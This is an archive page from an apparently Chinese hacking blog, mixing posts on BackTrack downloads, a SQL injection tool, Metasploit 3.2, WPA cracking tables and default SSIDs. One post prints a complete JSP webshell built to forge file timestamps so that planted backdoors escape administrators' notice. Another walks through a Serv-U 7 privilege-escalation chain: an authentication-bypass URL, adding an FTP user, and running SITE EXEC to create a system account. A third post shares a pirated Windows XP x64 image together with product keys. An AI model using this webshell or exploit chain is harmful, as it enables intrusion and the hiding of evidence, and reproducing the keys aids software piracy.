存档

‘资源共享’ 分类的存档

BT4中文模块下载

2009年2月28日 没有评论 149 views

去这里下载：
http://lzm.backtrack4.cn

分类: 资源共享 标签:

JSP 修改文件时间的WEBSHELL

2009年2月16日 没有评论 81 views

作者：oldjun

很多网站的管理员通过查看文件的修改时间定位被入侵后流下的网马与后门，因此修改文件的创建与修改时间可以有效的预防后门的泄露。

昨天研究了下，JSP只提供了修改“文件修改时间”的接口，却没有提供修改“文件创建时间”的接口，因此貌似只能修改“文件修改时间 ”，kj021320的JSP SHELL有这个功能，不过只能修改年月日，而且昨晚我遇到的RESIN 2.1.9 运行不了kj021320的那个SHELL，于是决定自己写个小的shell！

主要功能：
1.文件的时间属性查看，包括修改时间与创建时间；
2.文件修改时间的修改，精确到秒；

代码如下：
(Apache Tomcat/6.0.18下运行通过！)

   1. <%@ page import="java.io.*" %>  
   2. <%@ page import="java.util.*, java.text.*" %>  
   3. <%@ page language="java" import="java.util.Enumeration" contentType="text/html; charset=GB2312"%>  
   4.  
   5. <html>  
   6. <head>  
   7. <title>JSP timeshell by oldjun</title>  
   8. <meta http-equiv="Content-Type" content="text/html; charset=gb2312"></head>  
   9. <body>  
  10. <H1>JSP timeshell by oldjun</H1>  
  11. <%!  
  12. public static String getFileCreateDate(File _file) {  
  13.         File file = _file;  
  14.         try {  
  15.             Process ls_proc = Runtime.getRuntime().exec("cmd.exe /c dir \"" + file.getAbsolutePath() + "\" /tc");  
  16.             BufferedReader br = new BufferedReader(new InputStreamReader(ls_proc.getInputStream()));  
  17.             for (int i = 0; i < 5; i++) {  
  18.                 br.readLine();  
  19.             }  
  20.             String stuff = br.readLine();  
  21.             StringTokenizer st = new StringTokenizer(stuff);  
  22.             String dateC = st.nextToken();  
  23.             String time = st.nextToken();  
  24.             String datetime = dateC.concat(" "+time);  
  25.             br.close();  
  26.             return datetime;  
  27.         } catch (Exception e) {  
  28.             return null;  
  29.         }  
  30.     }  
  31. String folderReplace(String folder){  
  32.     return folder.replace('\\','/');  
  33. }  
  34. %>                                                                      
  35. <%  
  36. String action = null;  
  37. if (request.getParameter("action") == null)  
  38.         action = "main";  
  39.     else   
  40.         action = (String)request.getParameter("action");  
  41. if (action.equals("main")) {  
  42. %>  
  43. <form name= form1 method="post" action="?action=getinfo">  
  44. filepath:<input name="file" type="text" size="100" /><br>(for instance C:/Program Files/Apache Software Foundation/Tomcat 6.0/webapps/ROOT/time.jsp)<br>  
  45. <input type="submit" name="Button" value="getinfo"/>  
  46. </form>  
  47. <%  
  48. }else if (action.equals("getinfo")) {  
  49. String filepath = folderReplace(request.getParameter("file"));  
  50. File file = new File(filepath);  
  51. if(!file.exists()){  
  52.         out.println("<script lanugage=\"javascript\">alert(\"file:"+filepath+" not find!\");history.back();</script>");     
  53.     }  
  54. %>  
  55. filepath:<br>  
  56. <%=filepath%><br><br>  
  57. lastModifiedtime:<br>  
  58. <%=new Date(file.lastModified())%><br><br>  
  59. Createtime:<br>  
  60. <%  
  61. String Createtime=getFileCreateDate(file);  
  62. out.println(Createtime);  
  63. %><br><br>  
  64. now:<br>  
  65. <%  
  66. Date myDate = new Date();  
  67. out.println(myDate.toLocaleString());  
  68. %>  
  69. <form name= form2 method="post" action="?action=change">  
>  70. <input name="year" type="text" size="10"/>year  
  71. <input name="month" type="text" size="10"/>month  
  72. <input name="day" type="text" size="10"/>day  
  73. <input name="hour" type="text" size="10"/>hour  
  74. <input name="min" type="text" size="10"/>minute  
  75. <input name="sec" type="text" size="10"/>second  
  76. <input name="file" type="hidden" value="<%=filepath%>" /><br>  
  77. <input type="submit" name="Button" value="change"/>  
  78. </form>  
  79. <%  
  80. }else if (action.equals("change")) {  
  81. String url="?action=main";  
  82. String filepath = folderReplace(request.getParameter("file"));  
  83. String year = request.getParameter("year");  
  84. String month = request.getParameter("month");  
  85. String day = request.getParameter("day");  
  86. String hour = request.getParameter("hour");  
  87. String min = request.getParameter("min");  
  88. String sec = request.getParameter("sec");  
  89. File file = new File(filepath);  
  90. Calendar calendar=Calendar.getInstance();  
  91. calendar.set(Integer.parseInt(year),Integer.parseInt(month),Integer.parseInt(day),Integer.parseInt(hour),Integer.parseInt(min),Integer.parseInt(sec));  
  92. if(file.setLastModified(calendar.getTimeInMillis()))  
  93. out.println("<script lanugage=\"javascript\">alert(\"file date change success!\");location.href=\""+url+"\";</script>");  
  94. else 
  95. out.println("<script lanugage=\"javascript\">alert(\"time error!\");history.back();</script>");   
  96. }  
  97. %>  
  98. </body>  
  99. </html> 

分类: 资源共享 标签:

BackTrack4下载

2009年2月16日 没有评论 777 views


http://www.backtrack4.cn

BT4的镜像站点

分类: 资源共享 标签:

BT4出来了，附下载地址

2009年2月10日 没有评论 217 views

下载地址：
http://download.backtrack4.cn/

分类: 资源共享 标签:

sql_2005_inj[MSSQL2005注射工具

2009年1月24日 没有评论 116 views

Sql_2005_inj是专门用于注入mssql2005数据库的工具，是我去年暑假7月份写的。由于功能很简单不完善一直没发布，由于要写新版本所以把老的放出来晒晒。

界面很简单没有什么好介绍的，就提一点，列名显示的时候有两种颜色，红色和黑色，黑色的肯定可以猜解，而红色的属于特殊类型数据，有可能不能猜解出来。

最后感谢一下tr4c3，他的脚本对我的帮助很大，同时还要感谢remax，没少帮我测试。

kook1991 3:10 2009-1-18 weknow[at]163[dot]com

点击下载

分类: 资源共享 标签: ,

迅雷出网站统计服务了

2009年1月8日 没有评论 59 views

下面是迅雷统计系统的一些特色功能。

　　特色功能1：访客现场直播

　　将网站上面发生的事情几乎实时地反映到迅雷统计上面。事无巨细，一览无余，全面掌握网站的访问详情。

　　适用对象：中小型网站。不适合每天有几十万以上流量的网站（刷屏太快）。

　　作用：试试打开现场直播以后，在QQ群里面推广一下自己的网站。就可以立竿见影地评估推广效果。

　　特色功能2：标题记录

　　是不是已经厌倦了热门页等统计中，看着满屏幕的URL，却不知道是哪个页面呢？迅雷统计记录页面URL的同时，也将标题记录下来。让看的人更加直观地认识到页面的访问情况。而不用一个个点击链接去查看URL所代表的页面。

　　特色功能3：即时趋势分析

　　在每一个详细表格中，鼠标移动到每一个格子上面的时候，都会出现一个"添加到趋势图"的按钮。点击了之后就会将当前格子的历史数据显示到上面的趋势图中，方便分析出每个内容的每个指标的走势。

　　目前迅雷统计需要注册迅雷联盟会员才能参与，并且要成功推广5名注册用户时才能获得激活码，每天只能激活180个用户，超过了之后只能等第二天才能激活，总的来说，注册还很麻烦。

注册地址：http://tj.xunlei.com/register.jsp?fromCopartnerId=73218

分类: 资源共享 标签:

MSDN Windows XP Professional x64 Edition with SP2 - VL (English)+简体中文语言包

2009年1月5日 没有评论 419 views

MSDN Windows XP Professional x64 Edition with SP2 - VL (English)+简体中文语言包

[资源名称]---Windows XP Professional x64 Edition with SP2 - VL (English)
[资源类型]---ISO镜像
[资源语言]---英语+简体中文
[杀毒状况]---NOD32+KAV2009
[共享时间]---时间不定
[安装测试]---刻盘+硬盘安装通过
[版权声明]---软件版权归原作者及原软件公司所有，仅供测试所用，请勿用于商业用途，如果你喜欢，请购买正版软件
[资源介绍]

Windows XP Professional x64 Edition 的设计初衷是：满足机械设计和分析、三维动画、视频编辑和创作以及科学计算和高性能计算应用程序等领域中需要大量内存和浮点性能的客户的需求。

专用技术应用程序的性能优势
64 位计算性能在汽车或飞机设计等领域体现出优势，因为它允许工程师创建更大、更复杂的模型。借助这样的系统，工程师可以使用模拟软件分析气流、压力和受热对汽车或飞机材料产生的影响，然后对结果进行研究以改进产品设计。同样，通过 64 位计算，数字内容创作者（包括三维动画设计人员、数字艺术家和游戏开发人员）可以大大减少以数字方式呈现三维模型所用的时间。在科学计算和高性能计算领域，Windows XP Professional x64 Edition 将有助于石油和天然气勘探、地震分析、计算流体动力学和科学可视化等应用程序。

支持非常大的内存，采用常见的 Windows 桌面
对于达到 32 位系统内存限制的客户，Windows XP Professional x64 Edition 将以 AMD Athlon 64、AMD Opteron、支持 SM64T 的 Intel Xeon 和支持 EM64T 的 Intel Pentium 4 作为运行平台。基于 Windows XP 的 32 位和 64 位计算之间的主要区别在于 64 版本能够使用更多的系统内存。Windows XP Professional x64 Edition 最初将支持多达 128 GB 的内存和多达 16 TB 的虚拟内存。将来，随着硬件功能的扩展，支持的物理内存将相应增加。内存中数据的访问速度是它在磁盘驱动器上时访问速度的数千倍，这样就可以大大提高为使用此更大系统内存而开发的应用程序的性能。

为技术应用程序和业务应用程序提供单一桌面
Windows XP Professional x64 Edition 将为技术应用程序和业务应用程序提供单一桌面，这样技术工作站用户就不需要为业务应用程序维护 PC，同时为高端技术应用程序维护单独的工作站。大多数 Windows 兼容的 32 位应用程序将在 Windows XP Professional x64 Edition 的子系统（其性能与 32 位 Windows 相当）中“按原样”运行。工作站用户可以利用 Windows 平台上丰富的集成功能和高效工具。设计人员可以构建一个模型，并与公司中的其他人员轻松实现共享：对于财务组，将它复制到 Word 文档，或者对于市场组，将它添加到的 PowerPoint 幻灯片面板。如果您仅使用 32 位应用程序且处理的数据集不超过 2 GB，则将发现 32 位 Windows XP Professional 是最适合您应用程序的桌面系统。

Windows XP Professional x64 Edition 系统可以添加到现有的基于 Windows 的网络，并通过相同的管理工具与 32 位系统一起进行管理，从而使 IT 部门的工作更为轻松。维护和管理两个系统的间接成本得到了降低。

新一代应用程序的最佳平台
具备 32 位 Windows 技能的开发人员将能够舒适而高效地创建适用于 Windows XP Professional x64 Edition 的下一代应用程序。开发人员将发现该开发环境与 32 位 Windows 开发环境几乎完全相同；Microsoft Win64™ 应用程序编程接口 (API) 与 Microsoft Win32 API 相同。现有的 API 已经在必要处进行了修改，使它们可以反映其运行平台的精度。结果是简化了编程并缩短了开发人员编写 64 位 Windows 代码的学习曲线，使之就像编写 32 位 Windows 代码一样。

64 位 Windows 开发环境支持与 32 位 Windows 相同的功能集，包括 UI 和编程模型、网络、安全性、图形、多媒体、目录服务、即插即用以及工具功能。许多功能都已经过修改，以反映应用程序运行平台的计算精度。

PRODUCT KEY:
B66VY-4D94T-TPPD4-43F72-8X4FY
VCFQD-V9FX9-46WVH-K3CD4-4J3JM

Hash效验信息:
MD5: 33A35E7544201EA47FEE6CAC6A52153B
SHA1: CD9479E1DBAD7F26B8BDCF97E4AA71CBB8DE932B
CRC32: FFFFFFFF
MSDN网站上的信息:http://msdn.microsoft.com/zh-cn/subscriptions/downloads/details/default.aspx?pm=p%3A140
http://www.91files.com/?OR1NIFX8NXMUWXIQ9E6H
http://www.namipan.com/d/78573957f4bc8d9f3c19fa2fed4f1ad2f67d6cdbeb2f1800
http://software.ncu.edu.tw/96/EN/iso/XP_64bit.iso
http://218.108.29.28:2080/OS/WindowsXP_X64_EN/CHS.MSI

另附：
Windows XP Professional x64 Edition 多国语言包 微软官方http下载地址
共4张CD，多国语言，简体繁体中文在第三个CD中。
CD 1: German, Japanese (448 MB ISO image)
http://download.microsoft.com/download/4/a/c/4acd4568-e929-44cd-96ef-54f24ad0565b/ARMMUIx1.iso
CD 2: French, Spanish, Italian, Portugues (554 MB ISO image)
http://download.microsoft.com/download/1/9/0/19079c17-80cd-401c-986d-24f6bd9bb43e/ARMMUIx2.iso
CD 3: Korean, Chinese Simplified, Chinese Traditional (561 MB ISO image)
http://download.microsoft.com/download/f/d/a/fdac56ee-928a-4d51-9d6d-c7c64e9f5bae/ARMMUIx3.iso
CD 4: Swedish (161 MB ISO image)
http://download.microsoft.com/download/0/7/6/0769ef3b-1378-4f69-8bab-c3514ed74cdd/ARMMUIx4.iso

IE7 For Windows XP Professional x64 Edition
http://download.microsoft.com/download/1/1/4/114d5b07-4dbc-42f3-96fa-2097e207d0af/IE7-WindowsServer2003-x64-enu.exe
IE7 多国语言包 For Windows XP Professional x64 Edition
http://download.microsoft.com/download/1/c/d/1cd4c7f4-2f36-4c78-aa31-7aa395da5391/IE7MUI-x64-enu.exe

硬盘安装方法:
一、准备工具及安装光盘镜像
    1.UltraISO或WINISO,WinRAR也行
    2.Avlgomgr 2006
 
  3.WINDOWSXP x64安装光盘ISO镜像
    4.WINDOWS2003中文版安装光盘ISO镜像
二、实现步骤(每一步都必需)
1.用UltraISO或WinRAR将WINXP64光盘解压到一个文件夹下，如XP64。
2.将XP64\AMD64文件夹下的PIDGEN.DLL改名为PIDGEN.X64。(难找就用搜索功能,记住上级目录的位置,以免弄错)
3.用UltraISO打开WINDOWS 2OO3光盘镜像，提取I386文件夹下的WINNT32.EXE、WINNT32.MSI、WINNT32U.DLL、PIDGEN.DLL等四个文件，覆盖XP64\AMD64文件夹下的同名文件。
4.这个时候，可以双击WINNT32.EXE来运行安装程序了，安装类型选全新安装单击下一步
5.程序要求输入产品密钥，这里输入WINDOWS2003的产品密钥(输入入XP64的产品密钥是不能通过的，因为PIDGEN.DLL已经改了，密钥在第8步更改)，
单击下一步。安装选项设置就不说了，和XP安装一样。
6.点下一步直到出现“正在复制安装文件”界面，复制完后会出现一个错误对话框，内容是“安装程序无法创建、找到或修改启动Windows所需要的关键文件(C:\$LDR$)。
系统找到不到指定文件”先别点确定，点了前面所做的就白费了。
7.新建名为XP64SETUP的文件夹，打开C盘把txtsetup.sif、$WIN_NT$.~BT文件夹和$WIN_NT$.~LS文件夹复制到XP64SETUP文件夹中。
8.删除XP64SETUP\$WIN_NT$.~LS\amd64文件夹下的PIDGEN.DLL，将XP64\amd64文件夹下的PIDGEN.X64复制到XP64SETUP\$WIN_NT$.~LS\amd64文件夹下并改名为PIDGEN.DLL，
打开winnt.sif，将productid后面的密钥改成XP64的密钥，productkey后面的密钥也改成XP64的密钥。
9.将XP64文件夹中的I386文件夹复制到XP64SETUP\$WIN_NT$.~LS文件夹下。
10.这时可以点刚才第6步错误提示的确定按钮了，这时C盘的安装临时文件都被删除，点击完成退出安装程序。
11.复制XP64SETUP文件夹下的所有文件夹和文件到C:\，并将C:\$WIN_NT$.~LS\I386\SETUPLDR.BIN复制到C:\，打开Avlgomgr 2006对C:\SETUPLDR.BIN进行装配。
12.现在已经完成设置了，接下来就是重启安装64位XP系统了，重启后在启动菜单选择“Avlgo - SETUPLDR.BIN”这一项，就可以进入启动XP64安装程序了。

分类: 资源共享 标签:

serv-u7 local exploit (php)

2008年12月3日 没有评论 126 views

by 空虚浪子心 http://www.inbreak.net

注：由于作者懒，没有提供日志清理功能，会留下日志：

一，su7是提权有几种方式？
有两种形式去干掉su7。
1>，登陆管理员控制台的页面
==>获取OrganizationId，用于添加用户
==>获取全局用户的“下一个新用户ID”
==>添加用户
==>添加用户的权限 or 添加全局用户权限
==>用户登陆
==>执行系统命令添加系统账户。
 

2>，登陆管理员控制台页面
==>基本WEB客户端
==>来到serv-u的目录下--users--Global user目录
==>上传一个你已经定义好的用户文件
==>用户登陆
==>执行系统命令添加系统账户
而本文件使用了第一种方法。

二，提权的原理？
Su7的管理平台是http的，很先进。
抓包，分析，发现了以下路程是可以利用的。
1，    管理员从管理控制台打开web页面时，是不需要验证密码的。
2，    管理员如果用某URL打开web页面时，虽然需要输入密码，但是无论输入什么，都可以进入。“/?Session=39893&Language=zh,CN&LocalAdmin=1”
3，    管理员可以添加用户有两种，一种是全局用户，一种是某个域下的用户。而权限设置也是两种，一种是全局，一种是针对用户。
4，    管理员添加了用户的这个包和设置权限这个包，是分开的。
所以，我可以抓包然后转换成php的socket连接post出去。
最后在用经典的ftp登陆，exec命令。达到提权。
在写php的过程中，遇到很多问题，比如函数不会用等等（—_—!以前没学过php），感谢“云舒牛”帮忙。。。
在分析包的流程，发现了一些特征，服务器返回的数据，全是以xml格式发来的。而在数据传输的过程中，设计的很经典。
Su7也有自己的数据库，他也会自己生成一个id。
这个ID是随机的，在你创建用户时，会先请求服务器生成一个，生成好后，修改该id的用户名，密码等。
这很像oracle的insert手段。

写工具的过程中，遇到很多麻烦，最大的麻烦就是这个ID问题，后来分析出来了。
添加权限时，也是可以利用这个ID的。
于是工具一共连接了6次服务器，这几次分别是：
1，    用来登陆平台，使用那个输入任何密码都可以登陆的页面地址。返回一个sessionid，这个sessionid在以后的包都用到了。
2，    获取OrganizationId，用于添加用户
3，    用来请求一个用户ID。
4，    修改该ID的登陆用户名，密码。
5，    修改该ID的权限，加c盘的写删执行等。
6，    这次连接是做坏事的，使用前面添加的用户执行系统命令。

三，为啥我明明显示成功了，但是却提不上去？
这要看错误代码了，这里偶很惭愧，并没有写详细的错误代码判断。
一般有以下几种情况：
1，可能是因为管理员密码不对。
参照管理员密码的连接。
2，可能是因为管理员限制了执行SITE EXEC。
有待程序修改，程序可以加一个让他不限制的功能。
3，可能是程序问题。
4，为啥作者有这么多理由不去改？
你没发现么？一旦把东西做完美了，那比较系统的防御方案就出来了。
如果不完美，让他以为我们就这点手段，防御系统也会这么认为。
不信的话，过段时间，防御方案出来了，肯定有一条：“修改site exec为不可访问”。
到时候，我再写个功能，把这玩意改回来就是。
所以，等大家都提倡要XXXX的时候，我再解决XXXX的问题。大家先这么玩着吧:)

四，关于管理员密码

默认为空，如果密码为空，填什么都能进去。
如果修改过，管理员密码默认会在这里：
C:\Program Files\RhinoSoft.com\Serv-U\Users\Local Administrator Domain\.Archive
文件中找到一个MD5密码值。
C:\Program Files\RhinoSoft.com\Serv-U
是su的根目录。
密码值的样式为(假设是123456)
kx#######################
#代表123456的32位MD5加密，而kx则是su对md5的密码算法改进的随机2位字符。
破解后的密码为kx123456，去掉kx就是密码了。
你可以针对这个加密生成字典。

 

下载地址：200812030843555684.rar

分类: 资源共享 标签: ,

Metasploit Framework 3.2 Released 最新版

2008年11月20日 没有评论 366 views

Contact: H D Moore FOR IMMEDIATE RELEASE
Email: hdm[at]metasploit.com


Austin, Texas, November 19th, 2008 -- The Metasploit Project
announced today the free, world-wide availability of version 3.2 of
their exploit development and attack framework. The latest version
is provided under a true open source software license (BSD) and is
backed by a community-based development team.

Metasploit runs on all modern operating systems, including Linux,
Windows, Mac OS X, and most flavors of BSD. Metasploit has been used
on a wide range of hardware platforms, from massive Unix mainframes to
the iPhone. Users can access Metasploit using the tab-completing console
interface, the Gtk GUI, the command line scripting interface, or the
AJAX-enabled web interface. The Windows version of Metasploit includes
all software dependencies and a selection of useful networking tools.

The latest version of the Metasploit Framework, as well as screen
shots, video demonstrations, documentation and installation
instructions for many platforms, can be found online at


- http://metasploit.com/framework/


This release includes a significant number of new features and
capabilities, many of which are highlighted below.

Version 3.2 includes exploit modules for recent Microsoft flaws, such
as MS08-041, MS08-053, MS08-059, MS08-067, MS08-068, and many more.

The module format has been changed in version 3.2. The new format
removes the previous naming and location restrictions and paved the way
to an improved module loading and caching backend. For users, this means
being able to copy a module into nearly any subdirectory and be able to
immediately use it without edits.

The Byakugan WinDBG extension developed by Pusscat has been integrated
with this release, enabling exploit developers to quickly exploit new
vulnerabilities using the best Win32 debugger available today.

The Context-Map payload encoding system development by I)ruid is now
enabled in this release, allowing for any chunk of known process memory to
be used as an encoding key for Windows payloads.

The Incognito token manipulation toolkit, written by Luke Jennings, has
been integrated as a Meterpreter module. This allows an attacker to gain
new privleges through token hopping. The most common use is to hijack
domain admin credentials once remote system access is obtained.

The PcapRub, Scruby, and Packetfu libraries have all been linked into
the Metasploit source tree, allowing easy packet injection and capture.

The METASM pure-Ruby assembler, written by Yoann Guillot and Julien
Tinnes, has gone through a series of updates. The latest version has been
integrated with Metasploit and now supports MIPS assembly and the ability
to compile C code.

The Windows payload stagers have been updated to support targets with
NX CPU support. These stagers now allocate a read/write/exec segment of
memory for all payload downloads and execution.

Executables which have been generated by msfpayload or msfencode now
support NX CPUs. The generated executable is now smaller and more
reliable, opening the door to a wider range of uses. The psexec and
smb_relay modules now use an executable template thats acts like a real
Windows service, improving the reliability and cleanup requirements of
these modules.

The Reflective DLL Injection technique pioneered by Stephen Fewer of
Harmony Security has been integrated into the framework. The new payloads
use the "reflectivedllinjection" stager prefix and share the same binaries
as the older DLL injection method.

Client-side browser exploits now benefit from a set of new javascript
obfuscation techniques developed by Egypt. This improvement leads to a
greater degree of anti-virus bypass for client-side exploits.

Metasploit contains dozens of exploit modules for web browsers and
third-party plugins. The new browser_autopwn module ties many of these
together with advanced fingerprinting techniques to deliver more shells
than most pen-testers know what to do with.

This release includes a set of man-in-the-middle, authentication relay,
and authentication capture modules. These modules can be integrated with
a fake proxy (WPAD), a malicious access point (Karmetasploit), or basic
network traffic interception to gain access to client machines. These
modules tie together browser_autopwn, SMB relaying, and HTTP credential
and form capturing to pillage data from client systems.

Nearly all Metasploit modules now support IPv6 transports. IPv6 stagers
exist for the Windows and Linux platforms, opening the door for penetration
testing of pure IPv6 networks. The VNCInject and Meterpreter payloads have
been extensively tested over IPv6 sockets.

Efrain Torres's WMAP project has been merged into Metasploit. WMAP is
general purpose web application scanning framework that can be automated
through integration with an attack proxy (ratproxy) or be accessed as
individual auxiliary modules.

Egypt's new PHP payloads provide complete bind, reverse, and findsock
support for PHP web application exploits. If you are sick of C99 and R57
and looking to gain a "real" shell from one of the hundreds of RFI flaws
listed on milw0rm, the new PHP payloads work great against multiple
operating systems.

The db_autopwn command has been revamped to support port-based limits,
regex-based module matching, and limits on the number of spawned jobs. The
end result is a way to quickly launch specific modules against a specific
set of target machines. These changes were suggested and implemented by
Marcell 'SkyOut' Dietl (Helith).


Enjoy the release,

hdm mc egypt
pusscat ramon patrickw
I)ruid et kkatterjohn

分类: 资源共享 标签:

WPA-PSK Hash Table DVD下载地址汇总

2008年11月20日 1 条评论 273 views

此次由ZerOne安全团队制作的无线安全破解专用DVD光盘，其中包含的WPA 破解 Hash Table已全部经过测试可用，所含SSID均为ZerOne安全团队在对多个省会城市进行多次实地War-Driving无线探测基础上，从汇总数据中精心挑选出国内使用频率最高的前62个SSID整理而成。光盘里除了包含多达40余种8位以上生日类密码组合外，还包括了8位以上普通用户常用密码组合，总容量达 4.4GB。实为无线安全密码破解测试、无线渗透测试及安全评估之必备利器。

     该DVD光盘内除了主要包含的大容量WPA-PSK/WPA2-PSK 破解用 Hash Table以外，为方便大家学习及借鉴，还附赠了由ZerOne安全团队近年来进行省会城市War-Driving的官方探测汇总报告，此外，还准备了相关无线安全教程的文档及资源列表。希望借此给大家研究无线网络安全带来实质性的帮助。

     哈，作为国内第一张无线安全破解专用WPA-PSK Hash Table DVD，除实用价值外，也极具收藏和纪念意义！！

由于光盘体积过大，所以HTTP下载目前暂不可用，下为目前公开的下载方式及地址汇总：

WPA-PSK/WPA2-PSK光盘BT下载

种子一：http://bigpack.blogbus.com/files/12266612070.torrent 

上述种子中的DVD光盘镜像文件已压缩，从ISO压成RAR，大约减少了900M，可为所有下载的朋友节省许多时间

种子文件物征码：60a0cca09203ed9b309c95047f3333acb1661d32  分块大小: 512 KB

种子二： http://bigpack.blogbus.com/files/12266612980.torrent 

--------------------------------------------------------------------------- 

纳米盘下载

共22个分包。该资源比较大，需纳米机器人下载。没装纳米机器人，点此安装纳米机器人
ZerOne WPA HASH.part01.rar
ZerOne WPA HASH.part02.rar
ZerOne WPA HASH.part03.rar
ZerOne WPA HASH.part04.rar
ZerOne WPA HASH.part05.rar
ZerOne WPA HASH.part06.rar
ZerOne WPA HASH.part07.rar
ZerOne WPA HASH.part08.rar
ZerOne WPA HASH.part09.rar
ZerOne WPA HASH.part10.rar
ZerOne WPA HASH.part11.rar
ZerOne WPA HASH.part12.rar
ZerOne WPA HASH.part13.rar
ZerOne WPA HASH.part14.rar
ZerOne WPA HASH.part15.rar
ZerOne WPA HASH.part16.rar
ZerOne WPA HASH.part17.rar
ZerOne WPA HASH.part18.rar
ZerOne WPA HASH.part19.rar
ZerOne WPA HASH.part20.rar
ZerOne WPA HASH.part21.rar
ZerOne WPA HASH.part22.rar

感谢所有无线安全爱好者、朋友们

分类: 资源共享 标签: ,

Slax 6.07 官方迅雷高速下载

2008年11月20日 没有评论 91 views

You can get Slax from this website in several formats. Slax for CD is distributed as an ISO image. Burn it to a CD using a special menu option in your burning software, it's usually labeled 'burn CD iso image'. Slax for USB is distributed as a TAR archive. Simply unzip it to your USB device and run bootinst.bat (or bootinst.sh) to make it bootable.

download Slax for CD

slax-6.0.7.iso MD5:cde0ecba3c8289d786e12c44666ded6e

download Slax for USB

slax-6.0.7.tar MD5:a910b1c9e108e74b71e6f063d20064de

分类: 资源共享 标签:

无线厂商、运营商默认SSID列表

2008年11月17日 没有评论 278 views

TP-link TP-link
D-Link dlink
3COM 3com,comcomcom
linksys linksys
Dell Wireless
NETGEAR NETGEAr,Wireless
SMC SMC,WLAN
Belkin贝尔金 Belkin54g,WLAN
NETCORE NETCORE
Cisco tsunami
intel intel,xlan,101
独立固件 dd-wrt
独立固件 tomato
中国电信 AR7WRD,HG520s
中国移动 CMCC
中国网通 CNC

分类: 资源共享 标签: ,